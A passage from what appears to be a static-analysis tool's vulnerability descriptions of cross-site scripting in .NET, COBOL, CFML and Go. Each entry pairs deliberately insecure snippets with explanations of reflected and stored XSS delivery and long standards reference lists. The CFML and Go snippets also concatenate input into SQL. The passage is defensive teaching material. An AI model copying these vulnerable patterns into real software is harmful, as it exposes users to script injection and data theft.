As in Example 1 and Example 2, these code examples function correctly when the values of name are well-behaved, but they nothing to prevent exploits if the values are not. Again, these can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1 and Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3 and Example 4, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including ASP.NET Request Validation and WCF). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. With ASP.NET Request Validation, we also provide evidence for when validation is explicitly disabled. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web browser without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment reads an employee ID, EID, from an HTML form and displays it to the user.


...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.

EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...


The code in this example operates correctly if EID contains only standard alphanumeric text. If EID has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.

EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...


As in Example 1, this code functions correctly when the values of ENAME are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of ENAME is read from a database, whose contents are apparently managed by the application. However, if the value of ENAME originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTML Form and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker might perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cobol.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following CFML code segment reads an employee ID, eid, from a web form and displays it to the user.


<cfoutput>
Employee ID: #Form.eid#
</cfoutput>


The code in this example operates correctly if Form.eid contains only standard alphanumeric text. If Form.eid has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following CFML code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

 
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] ColdFusion Developer Center: Security Macromedia
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cfml.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Go code segment reads a user name, user, from an HTTP request and displays it to the user.

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


The code in this example operates correctly if user contains only standard alphanumeric text. If user has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Go code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


